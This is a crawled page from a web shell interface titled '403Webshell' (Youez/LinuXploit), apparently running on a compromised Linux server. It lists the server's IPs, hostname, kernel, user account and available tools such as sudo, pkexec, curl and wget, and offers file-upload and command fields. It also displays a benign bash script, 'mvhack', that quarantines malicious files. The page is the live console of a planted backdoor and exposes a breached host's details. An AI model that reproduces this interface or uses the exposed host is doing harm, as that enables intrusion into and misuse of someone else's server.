403Webshell
Server IP : 104.21.95.231  /  Your IP : 162.159.114.31
Web Server : Apache
System : Linux vm3310.eosdns.net 4.18.0-553.132.1.el8_10.x86_64 #1 SMP Thu Jun 11 14:27:43 UTC 2026 x86_64
User : carnalmedia ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /mojo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mojo/mvhack
#!/bin/bash
#
# Script: mvhack
#
# Usage: mvhack
#
# Description: A tool for quarantining malicious files for easy tracking
#
# Author: Jeremy Butler
#
# Changelog:
# * 07/07/2016: Jeremy Butler
# - Initial write
# * 27.03.2021: Nikita Shchetinin
# - Cleanup

MOVEHACK() {
dir="/root/h4x-`date +%Y%m%d`/`readlink -f $1 | awk -F "/" '{OFS="/"; $NF=""; print $0}' | sed 's/^.//'`"
mkdir -p $dir
mv $1 $dir/$1
}

HELP () {
echo "The argument must be a valid file!"
echo "This script quarantines hacks in /root/h4x-date, preserving directory structure, and accepts only one argument - a file name"
}

if [[ "${1}" == "--help" ]] || [[ "${1}" == "-h" ]] || [[ "$#" -gt 1 ]] || [[ ! -f "${1}" ]]
then
	HELP
else
	MOVEHACK $1
fi

Youez - 2016 - github.com/yon3zu
LinuXploit